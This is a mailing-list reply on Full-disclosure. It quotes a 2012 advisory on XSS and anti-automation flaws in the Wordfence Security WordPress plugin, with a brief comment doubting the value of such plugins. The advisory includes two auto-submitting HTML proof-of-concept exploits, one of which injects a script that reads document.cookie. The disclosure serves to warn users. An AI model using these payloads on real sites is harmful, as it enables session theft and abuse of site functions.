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Re: [Full-disclosure] XSS and IAA vulnerabilities in Wordfence Security for WordPress

Hmm,

Another 'security' plugin with vulnerabilities...

What exactly is the point of them? Even in an ideal world surely WP should be 
secure anyway - doesn't it just increase the attack surface?

Philip Whitehouse

On 19 Oct 2012, at 18:16, "MustLive" <mustlive@xxxxxxxxxxxxxxxxxx> wrote:

> Hello list!
> 
> I want to warn you about Cross-Site Scripting and Insufficient 
> Anti-automation vulnerabilities in Wordfence Security for WordPress.
> 
> Wordfence - it's security plugin for WordPress.
> 
> -------------------------
> Affected products:
> -------------------------
> 
> Vulnerable are Wordfence Security 3.3.5 and previous versions.
> 
> ----------
> Details:
> ----------
> 
> XSS (WASC-08):
> 
> Wordfence Security XSS.html
> 
> <html>
> <head>
> <title>Wordfence Security XSS exploit (C) 2012 MustLive. 
> http://websecurity.com.ua</title>
> </head>
> <body onLoad="document.hack.submit()">
> <form name="hack" action="http://site/?_wfsf=unlockEmail"; method="post">
> <input type="hidden" name="email" 
> value="<script>alert(document.cookie)</script>">
> </form>
> </body>
> </html>
> 
> Insufficient Anti-automation (WASC-21):
> 
> Wordfence Security IAA.html
> 
> <html>
> <head>
> <title>Wordfence Security IAA exploit (C) 2012 MustLive. 
> http://websecurity.com.ua</title>
> </head>
> <body onLoad="document.hack.submit()">
> <form name="hack" action="http://site/?_wfsf=unlockEmail"; method="post">
> <input type="hidden" name="email" value="admin@xxxxxxxxxx">
> </form>
> </body>
> </html>
> 
> I've informed the plugin developer about vulnerabilities. And mentioned 
> about these vulnerabilities at my site (http://websecurity.com.ua/6106/).
> 
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua 
> 
> 
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